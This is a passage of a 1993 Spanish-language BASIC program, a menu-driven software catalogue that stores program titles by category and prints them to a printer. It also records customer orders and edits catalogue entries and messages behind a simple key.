THEN arc$ = "copy-3.dat" +ON l GOTO lp, lp, lp, lp, lp, lp, lp, lp, lp, lp, mm +END + +lp: +f = l +IF f = 10 THEN f = 0 +GOSUB tipodeficha +REM LISTA DE PROGRAMAS +IF Tf$ = "0" THEN arc$ = "copy-1.dat" + +OPEN "R", #1, arc$, 14 +contador = 13: COLUMNA = 34 +FOR A = 1 TO LOF(1) / 14 + 1 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1, A +IF fichero$ = Tf$ THEN GOTO imprime ELSE GOTO continua +imprime: +COLOR 12, 1, 1 +LOCATE contador, COLUMNA: IF T$ = " " THEN GOTO continua ELSE PRINT T$ +contador = contador + 1 +IF COLUMNA = 60 AND contador = 22 THEN GOSUB contimpre +IF contador = 22 THEN contador = 13: COLUMNA = COLUMNA + 13 +continua: +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 4, 60: PRINT "PULSE UNA TECLA" +COLOR 15, 1, 1 +LOCATE 5, 60: PRINT "Para ir al MENé " +p: +IF INKEY$ = "" THEN GOTO p +COLOR 7, 1, 1 +FOR brr = 13 TO 22: LOCATE brr, 34: PRINT STRING$(37, " "): NEXT brr +LOCATE 4, 60: PRINT " F1 HELP " +LOCATE 5, 60: PRINT " F2 Exit to DOS" +GOTO espera + +contimpre: +COLOR 14, 1, 1 +LOCATE 4, 60: PRINT "Pulse una tecla" +LOCATE 5, 60: PRINT "para continuar." +COLOR 7, 1, 1 +p2: +IF INKEY$ = "" THEN GOTO p2 +LOCATE 4, 60: PRINT " " +LOCATE 5, 60: PRINT " " +contador = 13: COLUMNA = 34 +FOR ba = 13 TO 22: LOCATE ba, 34: PRINT STRING$(37, " "): NEXT ba +RETURN + +END + +mm: + +GOSUB menu2 +l2 = 1 +GOSUB secuencia2 +espera2: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube2 +ON KEY(14) GOSUB baja2 +espera4: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera4 +IF I$ = CHR$(13) THEN GOTO ejecuta2 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu1: GOSUB secuencia: COLOR 1, 7: GOTO espera +GOTO espera4 + +sube2: +ant2 = l2 +IF l2 = 1 THEN l2 = 4 ELSE l2 = l2 - 1 +IF ant2 = 0 THEN ant2 = 1 +GOSUB secuencia2 +RETURN + +baja2: +ant2 = l2 +IF l2 = 4 THEN l2 = 1 ELSE l2 = l2 + 1 +GOSUB secuencia2 +RETURN + +secuencia2: +IF l2 = -1 THEN l2 = 4 +IF l2 = 5 THEN l2 = 1 +COLOR 7, 1, 1 +IF ant2 = 1 THEN LOCATE 5, 39: PRINT lot2$(ant2) +IF ant2 = 2 THEN LOCATE 6, 39: PRINT lot2$(ant2) +IF ant2 = 3 THEN LOCATE 8, 39: PRINT lot2$(ant2) +IF ant2 = 4 THEN LOCATE 10, 39: COLOR 9, 1, 1: PRINT lot2$(ant2): COLOR 7, 1, 1 +COLOR 1, 7 +IF l2 = 1 THEN LOCATE 5, 39: PRINT lec2$(l2): RETURN +IF l2 = 2 THEN LOCATE 6, 39: PRINT lec2$(l2): RETURN +IF l2 = 3 THEN LOCATE 8, 39: PRINT lec2$(l2): RETURN +IF l2 = 4 THEN LOCATE 10, 39: COLOR 7, 0: PRINT lec2$(l2): COLOR 1, 7: RETURN +END + +ejecuta2: +KEY(11) OFF +KEY(14) OFF +ON l2 GOTO il, gp, C, md +GOTO espera2 +END + +il: +ON ERROR GOTO corrector +REM FICHERO PARA IMPRIMIR +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion." +LOCATE 15, 34: PRINT "Cerciorese de que la impresora este" +LOCATE 16, 34: PRINT "encendida y de que tenga papel." +LOCATE 18, 34: PRINT " Pulse una tecla..." +N: +Q$ = INKEY$: IF Q$ = "" THEN GOTO N +IF Q$ = CHR$(27) THEN FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT: GOTO subbrutinas +FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT +pagina = 1 +CLOSE #3: OPEN "lpt1:" FOR OUTPUT AS #3: PRINT #3, CHR$(27); "!"; CHR$(20) +LPRINT "ßßÛÛÛÛÛÛßßßßßÛÛÛßßßßß" +LPRINT "ßß Ü ßßßßÜ Ûßßß" +LPRINT "ßßßßßßßÜ ßßßßÜ ßß Üßß" +LPRINT "ßßÛßßßßÜ ßßßßÜ ßßÛ ß" +LPRINT "ßßÜÜÛÛÛÜ ßßßßÜÜÛß ßß" +LPRINT "ßß ßßßß ßßßß" +LPRINT "ÛßßßßßßßßßßßßßßßßßßßÛ" +LPRINT "ÛJ.D Guill‚n s.u '92Û" +LPRINT "ßßßßßßßßßßßßßßßßßßßßß" +LPRINT "El n£mero que sigue al nombre del programa, indica" +LPRINT "la cantidad de diskettes que est‚ ocupa. Diskett de 3 «" +LPRINT "Disponible el 75% de los programas en diskettes de 5 ¬" +contador = 12 + +f = 1 + +nf: +' EMPIEZA LA ETAPA f=A +IF contador > 50 THEN GOSUB finlista +CLOSE #1: OPEN "LPT1:" FOR OUTPUT AS #1: PRINT #1, CHR$(27); "!"; CHR$(97) +IF f = 1 THEN LPRINT "JUEGOS" +IF f = 2 THEN LPRINT "MUSICA" +IF f = 3 THEN LPRINT "PROCESADORES DE TEXTO" +IF f = 4 THEN LPRINT "PROGRAMAS DE CONTABILIDAD" +IF f = 5 THEN LPRINT "PROGRAMAS DE ELECTRONICA" +IF f = 6 THEN LPRINT "GRAFICOS" +IF f = 7 THEN LPRINT "UTILIDADES" +IF f = 8 THEN LPRINT "COPIONES" +IF f = 9 THEN LPRINT "LENGUAJES" +IF f = 10 THEN f = 0: LPRINT "ANTIVIRUS" +contador = contador + 2 +CLOSE #1: CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1) +IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF f = 1 THEN arc$ = "copy-3.dat" +IF f = 0 THEN arc$ = "copy-1.dat" +OPEN "R", #1, arc$, 14 +GOSUB tipodeficha +FOR A = 1 TO LOF(1) / 14 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1 +IF fichero$ <> Tf$ THEN GOTO sinsuerte +IF T$ <> " " THEN GOSUB guarda +IF G = 0 THEN PRINT #2, CHR$(27): contador = contador + 1 +IF contador > 55 THEN GOSUB finlista +sinsuerte: +NEXT A +CLOSE #1 +IF EF$ <> "" THEN LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$ +EF$ = "": EL$ = "": EO$ = "": EO4$ = "" +EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0 +IF contador > 50 THEN GOSUB finlista +IF f <> 0 THEN f = f + 1: GOTO nf +CLOSE #2: OPEN "lpt1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(33) +OPEN "r", #1, "MENSAJES", 30 +FOR A = 1 TO 5 +FIELD #1, 30 AS MENSAJE$ +GET #1 +LPRINT TAB(5); MENSAJE$ +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Lista terminada..." +LOCATE 15, 34: PRINT "PULSE UNA TECLA PARA VOLVER AL MENU" +d: +IF INKEY$ = "" THEN GOTO d +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +GOTO subbrutinas + +finlista: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel" +LOCATE 15, 34: PRINT " Pulse entonces una tecla para " +LOCATE 16, 34: PRINT " continuar listando." +COLOR 7, 1, 1 +m: +IF INKEY$ = "" THEN GOTO m +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +LOCATE 16, 34: PRINT " " +CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1) +contador = 0: RETURN + +guarda: +G = G + 1 +IF G = 1 THEN EF$ = T$: EFD$ = DISK$ +IF G = 2 THEN EL$ = T$: ELD$ = DISK$ +IF G = 3 THEN EO$ = T$: EOD$ = DISK$ +IF G = 4 THEN EO4$ = T$: EOD4$ = DISK$: GOTO imprimelinea +RETURN +END + +imprimelinea: +LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$; +EF$ = "": EL$ = "": EO$ = "": EO4$ = "" +EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0 +RETURN + +gp: +' GRABAR DATOS DE PEDIDOS +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "SIGUA LAS INDICACIONES PERTINENTES" +p4: +I$ = INKEY$ +IF I$ = "" THEN GOTO p4 +IF I$ = CHR$(27) THEN LOCATE 14, 34: PRINT STRING$(37, " "): GOTO subbrutinas +LOCATE 14, 34: PRINT "Nombre del programa/s... " +COLOR 12, 1, 1 +PL = 15: TCOL = 34 +FOR zA = 1 TO 21 +PL = PL + 1 +COLOR 12, 1, 1 +lin = PL: col = TCOL: lon = 10: tipo$ = " ..z": GOSUB limlin: A$(zA) = texto$ +IF PL = 22 THEN PL = 15: TCOL = TCOL + 13 +CREO = CREO + 1: IF A$(zA) = " " THEN GOTO cont +NEXT zA +cont: +COLOR 14, 1, 1 +LOCATE 13, 34: PRINT "INTRODUCE TU NOMBRE: " +LOCATE 14, 34: PRINT " " +COLOR 15, 1, 1 +lin = 15: col = 34: lon = 8: tipo$ = "0..Z": GOSUB limlin: nombre$ = texto$ +fil$ = nombre$ + ".JD" +CLOSE #1: CLOSE #2 +OPEN "R", #2, "commun_d.jd", 8 +FIELD #2, 8 AS nom$ +LSET nom$ = nombre$ +PUT #2, LOF(2) / 8 + 1 +CLOSE #2 + +OPEN "R", #1, fil$, 10 +FOR b = 1 TO CREO + 1 +FIELD #1, 10 AS tele$ +LSET tele$ = A$(b) +PUT #1, LOF(1) / 10 + 1 +NEXT b +CLOSE #1 +FOR e = 13 TO 22: LOCATE e, 33: PRINT STRING$(38, " "): NEXT +GOTO subbrutinas +END + +C: +COLOR 7, 1, 1 +LOCATE 3, 49: PRINT "Creditos " +LOCATE 14, 33: PRINT " (c) C A T A L O G O v3.0 " +LOCATE 16, 33: PRINT " Pantallas y programa ... " +COLOR 12 +LOCATE 18, 33: PRINT " Jos‚ David Guill‚n " +LOCATE 19, 33: PRINT " Tlf. 561-XX-XX " +COLOR 7, 1, 1 +LOCATE 21, 33: PRINT " 1993, 1§BTI " +pause: +IF INKEY$ = "" THEN GOTO pause +FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q +GOTO subbrutinas + +subbrutinas: +GOSUB secuencia +GOSUB menu2 +GOSUB secuencia2 +GOTO espera2 +END + +md: + +LOCATE 15, 35: PRINT "INTRODUCE CLAVE:": lon = 4: lin = 15: col = 53: tipo$ = " ..z": GOSUB limlin +clave$ = texto$ +IF clave$ <> "JD " THEN LOCATE 15, 35: PRINT STRING$(35, " "): GOTO subbrutinas +LOCATE 15, 35: PRINT " " +GOSUB menu3 +l3 = 1 +GOSUB secuencia3 +espera5: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube3 +ON KEY(14) GOSUB baja3 +espera6: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera6 +IF I$ = CHR$(13) THEN GOTO ejecuta3 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu2: GOSUB secuencia2: COLOR 1, 7: GOTO espera2 +GOTO espera6 + +sube3: +ant3 = l3 +IF l3 = 1 THEN l3 = 4 ELSE l3 = l3 - 1 +IF ant3 = 0 THEN ant3 = 1 +GOSUB secuencia3 +RETURN + +baja3: +ant3 = l3 +IF l3 = 4 THEN l3 = 1 ELSE l3 = l3 + 1 +GOSUB secuencia3 +RETURN + +secuencia3: +IF l3 = -1 THEN l3 = 4 +IF l3 = 5 THEN l3 = 1 +COLOR 7, 1, 1 +IF ant3 = 1 THEN LOCATE 5, 39: PRINT lot3$(ant3) +IF ant3 = 2 THEN LOCATE 6, 39: PRINT lot3$(ant3) +IF ant3 = 3 THEN LOCATE 8, 39: PRINT lot3$(ant3) +IF ant3 = 4 THEN LOCATE 10, 39: PRINT lot3$(ant3) +COLOR 1, 7 +IF l3 = 1 THEN LOCATE 5, 39: PRINT lec3$(l3): RETURN +IF l3 = 2 THEN LOCATE 6, 39: PRINT lec3$(l3): RETURN +IF l3 = 3 THEN LOCATE 8, 39: PRINT lec3$(l3): RETURN +IF l3 = 4 THEN LOCATE 10, 39: PRINT lec3$(l3): RETURN +END + +ejecuta3: +KEY(11) OFF +KEY(14) OFF +ON l3 GOTO ip, bp, im, vbp +GOTO espera5 +END + +ip: +' Introducir Programas + +selpro: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT " Seleccione SECCIàN" +COLOR 1, 7 +GOSUB secuencia +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera7: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera7 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5 +IF I$ = CHR$(13) THEN GOTO elrea +GOTO espera7 + +LOCATE 14, 34: PRINT " " + +elrea: +IF l = 11 THEN BEEP: GOTO espera7 +ft = 15 +qm = 34 +lin = 0 +col = 0 +CONTAR = 0 +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT "Nombre N§D Nombre N§D " +FOR G = 1 TO 14 +COLOR 7, 1, 1 +ft = ft + 1 +IF lin = 22 THEN ft = 16: qm = qm + 18 +lin = ft +col = qm +lon = 10: tipo$ = " ..z": GOSUB limlin: A$(G) = texto$ +IF A$(G) = " " THEN GOTO Grapro +lon = 3: lin = ft: col = qm + 12: tipo$ = "0..9": GOSUB limlin: T$(G) = texto$ +CONTAR = CONTAR + 1 +NEXT G + +Grapro: +qm = 0: ft = 0 +f = l: IF f = 10 THEN f = 0 +IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +GOSUB tipodeficha +OPEN "R", #1, arc$, 14 +FOR b = 1 TO CONTAR +FIELD #1, 1 AS fichero$, 10 AS tele$, 3 AS DISK$ +LSET fichero$ = Tf$ +LSET tele$ = A$(b) +LSET DISK$ = T$(b) +PUT #1, LOF(1) / 14 + 1 +NEXT b +CLOSE #1 +FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q +GOTO selpro +END + +END +bp: +' Borrar Programas +COLOR 7, 1, 1 +LOCATE 20, 34: PRINT " " +selpro2: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT STRING$(37, " ") +LOCATE 14, 34: PRINT " Seleccione SECCIàN " +COLOR 1, 7 +GOSUB secuencia +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera72: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera72 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5 +IF I$ = CHR$(13) THEN GOTO elrea2 +GOTO espera72 + +LOCATE 14, 34: PRINT " " + +elrea2: +CONTAR = 0 +' PROCESO DE BUSQUEDA +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Nombre a eliminar: " +COLOR 7, 1, 1 +lin = 14: col = 53: lon = 10: tipo$ = " ..z": GOSUB limlin: busqueda$ = texto$ +X$ = busqueda$ + " " +fin$ = LEFT$(X$, 10) +f = l: IF f = 10 THEN f = 0 +IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +OPEN "R", #1, arc$, 14 +contador = 1 +FOR A = 1 TO LOF(1) / 14 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1: PI$ = T$ +IF VAL(fichero$) <> f THEN GOTO sigue +IF PI$ = fin$ THEN GOTO borrar +sigue: +contador = contador + 1 +NEXT A +CLOSE #1 +IF busqueda$ = " " THEN GOTO bp +LOCATE 16, 34: PRINT "*** No encuentro a" +COLOR 12, 1, 1: LOCATE 16, 51: PRINT busqueda$: COLOR 7, 1, 1: LOCATE 17, 34: PRINT "*** Puede deberse a error tipografico." +frt: +IF INKEY$ = "" THEN GOTO frt +FOR T = 14 TO 22: LOCATE T, 34: PRINT STRING$(37, " "); : NEXT T +GOTO elrea2 +END +borrar: +' ELIMINANDO DATOS +CLOSE #1 +COLOR 14, 2, 2 +LOCATE 20, 34: PRINT "¨ Seguro, desea eliminarlo (S/N) ?" +rte: +IF INKEY$ = "" THEN GOTO rte ELSE IF INKEY$ = "n" OR INKEY$ = "N" THEN GOTO bp +A$ = " ": d$ = " " +GOSUB tipodeficha +OPEN "R", #1, arc$, 14 +FOR b = 1 TO 2 +FIELD #1, 1 AS fichero$, 10 AS tele$, 3 AS DISK$ +LSET fichero$ = Tf$: LSET tele$ = A$: LSET DISK$ = d$ +PUT #1, contador +NEXT b +CLOSE #1 +GOTO bp + +END +im: +' Introducir mensaje +COLOR 14, 1, 1 +PAL$ = "EL ANTIGUO COMENTARIO ERA:" +FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT +COLOR 12, 1, 1 +OPEN "R", #1, "MENSAJES", 30 +FOR A = 1 TO LOF(1) / 30 +FIELD #1, 30 AS MENSAJE$ +GET #1 +RE$ = MENSAJE$ +LOCATE 16 + A, 38: PRINT RE$ +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +PAL$ = "DESEA CREAR UN NUEVO COMENTARIO" +FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT +reten: +A$ = INKEY$: IF A$ = "" THEN GOTO reten +IF A$ = "S" OR A$ = "s" THEN GOTO modificar ELSE GOTO fin +modificar: +FOR b = 1 TO 31: LOCATE 14, 36 + b: PRINT " ": PLAY "C25": NEXT +KILL "MENSAJES" +FOR C = 1 TO 5: lon = 30: lin = 16 + C: col = 38: tipo$ = " ..z": GOSUB limlin: AL$(C) = texto$: NEXT C +CLOSE #1: OPEN "R", #1, "MENSAJES", 30: FOR b = 1 TO 5: FIELD #1, 30 AS AU$: LSET AU$ = AL$(b): PUT #1, LOF(1) / 30 + 1: NEXT b: CLOSE #1 +PAL$ = "SU MENSAJE QUEDA GRABADO " +FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT +PAL$ = "PULSE UNA TECLA PARA VOLVER AL MENU..." +FOR s = 1 TO 37: TOL$ = MID$(PAL$, s, 1): LOCATE 16, 34 + s: PRINT TOL$: PLAY "A20": NEXT +reten2: +IF INKEY$ = "" THEN GOTO reten2 +fin: +FOR s = 14 TO 22: LOCATE s, 34: PRINT STRING$(37, " "): PLAY "A20": NEXT +GOSUB secuencia: GOSUB secuencia3: GOTO espera5 +END + +vbp: +COLOR 7, 1, 1 +FOR qw = 13 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT +GOSUB derecha +' Visionar/Borrar Pedidos +KEY(13) ON +KEY(12) ON +ON KEY(13) GOSUB derecha +ON KEY(12) GOSUB izquierda +pause1: +I$ = INKEY$ +IF I$ = "" THEN GOTO pause1 +IF I$ = CHR$(13) THEN GOTO ejecuta4 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5 +BEEP: GOTO pause1 + +derecha: +Y = Y + 1 +IF Y = 3 THEN Y = 1 +COLOR 7, 1, 1 +LOCATE 10, 39: PRINT "Visionar / Borrar pedidos "; +COLOR 14, 1, 1 +IF Y = 1 THEN LOCATE 10, 39: PRINT "VISIONAR"; +IF Y = 2 THEN LOCATE 10, 50: PRINT "BORRAR"; +RETURN + +izquierda: +IF Y = 1 THEN Y = 2 ELSE Y = Y - 1 +IF Y = -1 THEN Y = 2 +COLOR 7, 1, 1 +LOCATE 10, 39: PRINT "Visionar / Borrar pedidos "; +COLOR 14, 1, 1 +IF Y = 1 THEN LOCATE 10, 39: PRINT "VISIONAR"; +IF Y = 2 THEN LOCATE 10, 50: PRINT "BORRAR"; +RETURN + +ejecuta4: +KEY(13) OFF +KEY(12) OFF +ON Y GOTO VERD, bord + +VERD: +COLOR 12, 1, 1 +f = 0: C = 0 +OPEN "R", #2, "commun_d.jd", 8 +IF LOF(2) = 0 THEN GOTO RETIT +GOTO SIGPW + +RETIT: +CLOSE #2: LOCATE 14, 34: PRINT "ARCHIVO VACIO" +QET: +IF INKEY$ = "" THEN GOTO QET +LOCATE 14, 34: PRINT " ": GOTO vbp + +SIGPW: +FOR d = 1 TO LOF(2) / 8 + 1 +IF f = 21 THEN C = C + 10: f = 1 ELSE f = f + 1 +IF f = 21 AND C = 20 THEN GOTO finfile +FIELD #2, 8 AS nom$ +IF nom$ <> " " THEN LOCATE 15 + f, 34 + C: PRINT nom$ +T$(d) = nom$ +GET #2 +NEXT + +finfile: +CLOSE #2 + +LOCATE 14, 34: PRINT "Input Name: (May£s.) " + +LOCATE 14, 34: PRINT "Input Name: " +lon = 8: col = 47: lin = 14: tipo$ = "0..Z": GOSUB limlin: NOMIN$ = texto$ +FOR qw = 14 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT +IF NOMIN$ = " " THEN GOTO vbp +FOR QWS = 1 TO 21: contr = contr + 1: IF NOMIN$ = T$(QWS) THEN GOTO ELIGE +NEXT QWS +GOTO infal + +END +ELIGE: +IF Y = 1 THEN GOTO CONSEC ELSE GOTO BORRD +END + +CONSEC: +fil$ = NOMIN$ + ".JD" +PL = 13: TCOL = 34 +OPEN "R", #1, fil$, 10 +IF fallo = 1 THEN fallo = 0: GOTO infal +IF fallo = 2 THEN fallo = 0: GOTO Infalde +FOR b = 1 TO LOF(1) / 10 + 1 +FIELD #1, 10 AS tele$ +PL = PL + 1 +COLOR 12, 1, 1 +lin = PL: col = TCOL: LOCATE lin, col: PRINT tele$ +IF PL = 21 THEN PL = 15: TCOL = TCOL + 13 +GET #1 +NEXT b +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 22, 34: PRINT "Lista terminada, Pulse una tecla..." +fo: +IF INKEY$ = "" THEN GOTO fo +FOR qw = 14 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT +GOTO vbp + +infal: +LOCATE 14, 34: PRINT "Archivo no encontrado" + +FOR qw = 13 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT +Infalde: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "ERROR DESCONOCIDO;" +GOTO VERD + + +END + +bord: +GOTO VERD +BORRD: +COLOR 14, 1, 1 +LOCATE 13, 34: PRINT "ATENCION! Desea eliminarlo (S/N)" +ret: +IF INKEY$ = "" THEN GOTO ret +IF INKEY$ = "n" OR INKEY$ = "N" THEN GOTO vbp +fil$ = NOMIN$ + ".JD" +KILL fil$ +nombre$ = " " +OPEN "R", #2, "commun_d.jd", 8 +FIELD #2, 8 AS nom$ +LSET nom$ = nombre$ +PUT #2, contr +CLOSE #2 + + +GOTO vbp +END + + + + +menu1: +COLOR 7, 1, 1 +CLS +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ßßßßßßßÛ ÛßßÜ ³ø ø³ "; +PRINT "³ Juegos ³± Û Û ßÜ ³ø Catalogo v3.0 ø³ "; +PRINT "³ ³± Û Û ßÜ ³ø ø³ "; +PRINT "³ Musica ³± Û Û Û ³ø F1 Help ø³ "; +PRINT "³ ³± Û Û Û Üß ³ø F2 Exit to DOS ø³ "; +PRINT "³ Procesadores de textos ³± Û Û Û Üß Ü³ø ø³Ü "; +PRINT "³ ³± ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ"; +PRINT "³ Pgr. Contabilidad ³± ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ"; +PRINT "³ ³± Jos‚ David Guill‚n '93 ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ"; +PRINT "³ Pgr. Electronica ³± " +PRINT "³ ³±" +PRINT "³ Graficos ³± ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Utilidades ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Copiones ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Lenguajes ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Anti_virus ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ - MENé PRINCIPAL - ³± ³ ³±"; +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +RETURN + +menu2: +COLOR 7, 1, 1 +LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±"; +LOCATE 3, 32: PRINT "³ Men£ actual: MENé PRINCIPAL ³±"; +LOCATE 4, 32: PRINT "³ ³±"; +LOCATE 5, 32: PRINT "³ Imprimir Lista ³±"; +LOCATE 6, 32: PRINT "³ Grabar programas elegidos ³±"; +LOCATE 7, 32: PRINT "³ ³±"; +LOCATE 8, 32: PRINT "³ Creditos ³±"; +LOCATE 9, 32: PRINT "³ ³±"; +LOCATE 10, 32: PRINT "³ Men£ de Datos ( JD ) ³±"; +LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ "; +LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +COLOR 9, 1, 1 +LOCATE 10, 39: PRINT "Men£ de Datos ( JD )" +COLOR 7, 1, 1 +RETURN + +menu3: +COLOR 7, 1, 1 +LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±"; +LOCATE 3, 32: PRINT "³ Men£ actual: Men£ de Datos ( JD ) ³±"; +LOCATE 4, 32: PRINT "³ ³±"; +LOCATE 5, 32: PRINT "³ Introducir nuevos programas ³±"; +LOCATE 6, 32: PRINT "³ Borrar programas ³±"; +LOCATE 7, 32: PRINT "³ ³±"; +LOCATE 8, 32: PRINT "³ Introducir mensaje ³±"; +LOCATE 9, 32: PRINT "³ ³±"; +LOCATE 10, 32: PRINT "³ Visionar / Borrar pedidos ³±"; +LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ "; +LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +COLOR 7, 1, 1 +RETURN + + + + +cargachar: +lec$(1) = "þ JUEGOS " +lec$(2) = "þ MUSICA " +lec$(3) = "þ PROCESADORES DE TEXTOS" +lec$(4) = "þ PGRS. CONTABILIDAD " +lec$(5) = "þ PGRS. ELECTRONICA " +lec$(6) = "þ GRAFICOS " +lec$(7) = "þ UTILIDADES " +lec$(8) = "þ COPIONES " +lec$(9) = "þ LENGUAJES " +lec$(10) = "þ ANTI_VIRUS " +lec$(11) = " - Men£ Principal - " +lot$(1) = " Juegos " +lot$(2) = " Musica " +lot$(3) = " Procesadores de textos " +lot$(4) = " Pgr. Contabilidad " +lot$(5) = " Pgr. Electronica " +lot$(6) = " Graficos " +lot$(7) = " Utilidades " +lot$(8) = " Copiones " +lot$(9) = " Lenguajes " +lot$(10) = " Anti_virus " +lot$(11) = " - MENé PRINCIPAL - " + +lec2$(1) = "þ IMPRIMIR LISTA " +lec2$(2) = "þ GRABAR PROGRAMAS ELEGIDOS " +lec2$(3) = "þ CREDITOS " +lec2$(4) = "þ MENé DE DATOS ( JD ) " +lot2$(1) = "Imprimir Lista " +lot2$(2) = "Grabar programas elegidos " +lot2$(3) = "Creditos " +lot2$(4) = "Men£ de Datos ( JD ) " + +lec3$(1) = 